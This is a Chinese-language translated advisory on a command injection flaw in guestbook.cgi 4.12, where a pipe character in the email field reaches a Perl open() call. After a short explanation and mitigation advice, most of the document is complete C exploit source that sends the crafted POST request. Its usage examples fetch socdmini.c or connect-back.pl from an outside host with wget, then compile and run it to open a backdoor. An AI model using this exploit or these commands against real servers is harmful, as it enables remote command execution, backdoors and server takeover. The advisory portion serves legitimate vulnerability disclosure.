guestbook.cgi漏洞分析

/ns/hk/hacker/data/20010514024522.htm

guestbook.cgi漏洞分析
柳永 译
来源:www.securiteam.com
经常看到一些扫描器将guestbook.cgi列为一个漏洞,我的CGI水平实在是有限,不知道怎么利用该漏洞,反正找来这篇文章,读和实践的时候有一些出入,因此对原文做了一些改动,有兴趣的朋友可以从securiteam找英文原文来看.程序中声明受影响的系统是guestbook.cgi version 4.12,我以它的代码做试验的时候没有成功,也没时间再找机器做试验,大伙将就着先看看,哪位成功了别忘了通知我一声:)
Guestserver(http://www.stud.ntnu.no/~larsell/guestbook/)是一个guestbook系统,有远程执行任意命令的BUG.导致这个BUG的原因是从HTTP提交一个恶意的email变量.
详细资料
先来看看guestserver如何屏蔽email变量的.
提交的email变量首先被过滤冒号,逗号,分号,如下所示:
line 282:
$FORM{‘email‘} =~ s/\<[^\>]*\>//ig;
$FORM{‘email‘} =~ s/\<//g;
$FORM{‘email‘} =~ s/\>//g;
$FORM{‘email‘} =~ s/\"/_/g;

if ($FORM{‘email‘} !~ /^[^\@]*[\@][^\@]*?\.[^\@]*$/g) {
$FORM{‘email‘} = undef;
}

line 360:
&mail_guest if ($mailto_guest && $mailprogram && ($FORM{‘email‘} !~ /[\,\:\;]/));

After that, the email must be in "normal" form.

line 957:
if ($FORM{‘email‘} =~ /.*?\@.*?\..*?/) {
open (MAIL, "|$mailprogram $FORM{‘email‘}");
但这个过滤是不够的:管道符没有被过滤.我们可以提交一个带命令的email变量,以管道符作为命令和emial变量的分割线.如果它看起来象是一个普通的email地址,CGI会执行这个email所附带的命令.举例说明:使用一个email变量,注意引号内的内容:"|bleh|bob@example.com"以管道符作为分界线的内容提交给远程服务器,就会执行这条命令:"/bin/sh -c |bleh|bob@example.com",检查error_log,你会发现下面的内容:
sh: bleh: command not found
sh: bob@example.com: command not found
读到这里,大家应该明白攻击者可能利用这个漏洞在服务器上创建一个后门,用以进入执行这个CGI script的服务器.
局限性:
首先,guestserver.cgi必须配置允许向guest发送邮件,才能通过向guestbook张贴带命令的邮件地址的方法来

利用这个漏洞。
服务器上的guestbook配置文件里必须有这一句:
<-guestbook.mailto_guest-> # Yes = 1, No = 0
另外,在提交的emial变量里不能带有冒号,否则email变量将会被打乱,所以不能使用诸如(i.e.: "xterm -ut

-display 127.0.0.1:0.0")之类的命令.
解决方案:
1)快速方式(但不太好)
在guestbook配置文件里选择不接受发送邮件给guest,即设置<-guestbook.mailto_guest->指示为0.
2)更好的方法:
修改程序,完全过滤控制字符.
以下是攻击代码:
(里面的注释跟前面的介绍很接近,就不翻译了,和和)
/*
* guestrook.c - fish stiqz <fish@analog.org> 11/18/2001.
*
* - rook:v: deprive of by deceit; "He swindled me out of my inheritance"
*
* Remote exploit for guestbook.cgi version 4.12 (below?).
* guestbook.cgi can be found at http://www.guestserver.com/
*
* exploits a traditional open call in a perl cgi script,
* open (MAIL, "|$mailprogram $FORM{‘email‘}");
* the address is filtered for semi-colons, colons, commas, and less-than
* and greater than signs, and must be in *@*.* form.
*
* The cgi must be configured to send mail to the guest.
* the line in guestbook.config must be:
* <-guestbook.mailto_guest-> # Yes = 1, No = 0
* 1
* This config looks to be pretty common.
*
* Because the host environment must already have a perl interpreter
* installed, using a perl backdoor would probably be the most portable
* way to exploit this. The example in the usage message presents another
* way to accomplish it, with the well known socdmini.c. The sleep
* call is necessary to ensure that the program has finished
* downloading before the vulnerable system attempts to compile it.
* It may also be necessary to execute each command individually.
* I‘m sure there are a million other ways to exploit this, since you
* can specifiy a string of commands to execute. Use your imaginiation.
*
* Thats pretty much it. Have fun.
*
* shoutouts: nerile <-- 1337
* trey, kiam, sudo, kilmor, vertigo7, quanta,
* #code <-- rules (not ef/dal),
* analog.org, async.org
*
* #TelcoNinjas == #smurfkiddies.
*/

#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <time.h>
#include <ctype.h>


#define HTTP_PORT 80

extern int errno;

/*
* function prototypes.
*/
int get_ip(struct in_addr *, char *);
int tcp_connect(char *, unsigned int);
void *Malloc(size_t);
void *Realloc(void *, size_t);
char *Strdup(char *);
void send_packet(int, char *, char *);
char *convert_command(char *);
void clear_screen(FILE *);
void usage(char *);
char *random_string(void);


/*
* Error cheq‘n wrapper for malloc.
*/
void *Malloc(size_t n)
{
void *tmp;

if((tmp = malloc(n)) == NULL)
{
fprintf(stderr, "malloc(%u) failed! exiting...\n", n);
exit(EXIT_FAILURE);
}

return tmp;
}


/*
* Error cheq‘n realloc.
*/
void *Realloc(void *ptr, size_t n)
{
void *tmp;

if((tmp = realloc(ptr, n)) == NULL)
{
fprintf(stderr, "realloc(%u) failed! exiting...\n", n);
exit(EXIT_FAILURE);
}

return tmp;
}


/*
* Error cheq‘n strdup.
*/
char *Strdup(char *str)
{
char *s;

if((s = strdup(str)) == NULL)
{
fprintf(stderr, "strdup failed! exiting...\n");
exit(EXIT_FAILURE);
}

return s;
}




/*
* translates a host from its string representation (either in numbers
* and dots notation or hostname format) into its binary ip address
* and stores it in the in_addr struct passed in.
*
* return values: 0 on success, != 0 on failure.
*/
int get_ip(struct in_addr *iaddr, char *host)
{
struct hostent *hp;

#ifdef DEBUG
printf("entered get_ip with %s\n", host);
#endif

/* first check to see if its in num-dot format */
if(inet_aton(host, iaddr) != 0)
return 0;

#ifdef DEBUG
printf("inet_aton failed\n");
printf("trying gethostbyname...\n");
#endif

/* next, do a gethostbyname */
if((hp = gethostbyname(host)) != NULL)
{
if(hp->h_addr_list != NULL)
{
memcpy(&iaddr->s_addr, *hp->h_addr_list, sizeof(iaddr->s_addr));
return 0;
}
return -1;
}

return -1;
}



/*
* initiates a tcp connection to the specified host (either in
* ip format (xxx.xxx.xxx.xxx) or as a hostname (microsoft.com)
* to the host‘s tcp port.
*
* return values: != -1 on success, -1 on failure.
*/
int tcp_connect(char *host, unsigned int port)
{
int sock;
struct sockaddr_in saddress;
struct in_addr *iaddr;

iaddr = Malloc(sizeof(struct in_addr));

/* write the hostname information into the in_addr structure */
if(get_ip(iaddr, host) != 0)
return -1;

#ifdef DEBUG
printf("attempting connect to %s\n", inet_ntoa(*iaddr));
#endif

saddress.sin_addr.s_addr = iaddr->s_addr;
saddress.sin_family = AF_INET;
saddress.sin_port = htons(port);

/* create the socket */
if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
return -1;

/* make the connection */
if(connect(sock, (struct sockaddr *) &saddress, sizeof(saddress)) != 0)
{
close(sock);
return -1;
}

/* everything succeeded, return the connected socket */
return sock;
}


/*
* generates a string of 6 random characters.
* - guestbook.cgi wont accept the same message twice (or so it seems),
* so we need to randomize it a bit.
*/
char *random_string(void)
{
int i;
char *s = Malloc(7);

srand(time(NULL));
for(i = 0; i < 6; i++)
s[i] = (rand() % (122 - 97)) + 97;

s[i] = 0x0;
return s;
}


/*
* send the request to the server.
* the remote_command needs to be coverted before sent here.
* semi-colon‘s are filtered out and will not work!
*/
void send_packet(int sock, char *conv_remote_command, char *target)
{
char *packet_buf;
char *payload_buf;
char *r_string;
char header_fmt[] =
"POST /cgi-bin/guestbook.cgi HTTP/1.0\n"
"Connection: close\n"
"User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)\n"
"Host: %s\n"
"Content-type: application/x-www-form-urlencoded\n"
"Content-length: %d\n\n%s";

char payload_fmt[] =
"name=%s&SIGN=Sign+it%%21&email=%%7C%s%%7Cbleh%%40bleh.com"
"&location=Germany&message=telconinjas+suck";

r_string = random_string();

/* create space for the payload and commands */
payload_buf = Malloc((sizeof(payload_fmt) + 1 +
strlen(conv_remote_command)) *
sizeof(char));
sprintf(payload_buf, payload_fmt, r_string, conv_remote_command);
free(r_string);

/* create space for the headers, payload, and commands */
packet_buf = Malloc((sizeof(header_fmt) + 1 + strlen(payload_buf) +
strlen(conv_remote_command)) * sizeof(char));
sprintf(packet_buf, header_fmt,
target, strlen(payload_buf), payload_buf);

#ifdef DEBUG
printf("\nSending data:\n%s\n", packet_buf);
#endif

if(write(sock, packet_buf, strlen(packet_buf)) == -1)
{
perror("write");
exit(EXIT_FAILURE);
}

close(sock);
return;
}


/*
* converts a command from "command1 arg1 arg2 | command2 arg1 arg2"
* to "command1+arg1+arg2+%7C+command2+arg1+arg2"
*/
char *convert_command(char *input)
{
int i;
char *postfix;
char *command = Strdup(input);
char meta;

for(i = 0; command[i] != 0x0; i++)
{
if(!isalnum(command[i]) && command[i] != ‘.‘ && command[i] != ‘-‘)
{
if(command[i] == ‘ ‘)
command[i] = ‘+‘;

else
{
meta = command[i];

postfix = Strdup(&(command[i]) + 1);
command = Realloc(command, (strlen(command) + 3) *
sizeof(char));

command[i] = 0x0;
sprintf(&command[i], "%%%.2X", meta);
strcat(command, postfix);

free(postfix);
}
}
}


return command;
}


/*
* clears the screen. lame.
*/
void clear_screen(FILE *fp)
{
fprintf(fp, "%c[H%c[2J", 0x1b, 0x1b);
return;
}

/*
* prints usage and then exits.
*/
void usage(char *p)
{
clear_screen(stderr);
fprintf(stderr,
"\nguestbook.cgi exploit by fish stiqz <fish@analog.org>\n"
"discovered and exploited on 01/18/2001\n\n"
"usage: %s <target> \"command1 args | command2 args\"\n\n"
"* commands MUST be separated by |‘s\n"
"* commands CANNOT contain any of these chars: ;:,<>\n"
"* Example: %s target.com \"wget host.com/socdmini.c -P /tmp|\\\n"
" |sleep 5|gcc -o /tmp/hax /tmp/socdmini.c|/tmp/hax\"\n"
"* you may want to separate the commands into one per request..\n"
"* Example: %s target.com \"wget host.com/connect-back.pl"
" -P /tmp\"\n"
" %s target.com \"perl /tmp/connect-back.pl\"\n"
"* you get the idea, use your imagination.\n\n",
p, p, p, p);
exit(EXIT_FAILURE);
}


int main(int argc, char **argv)
{
char *target;
char *commands;
char *conv_commands;
int sock;

if(argc != 3)
usage(argv[0]);

target = Strdup(argv[1]);
commands = Strdup(argv[2]);

conv_commands = convert_command(commands);
free(commands);

#ifdef DEBUG
printf("\nconv_commands:\n%s\n", conv_commands);
#endif

printf("Connecting to %s...\n", target);
if((sock = tcp_connect(target, HTTP_PORT)) == -1)
{
perror("tcp_connect");
return EXIT_FAILURE;
}
printf("Connected, sending payload...\n");
send_packet(sock, conv_commands, target);
printf("Payload sent. Go store lots of warez!#*!%%@!#\n"
"#TelcoNinjas == #smurfkiddies\n");

free(conv_commands);
free(target);

return EXIT_SUCCESS;
}

转自vertarmy.org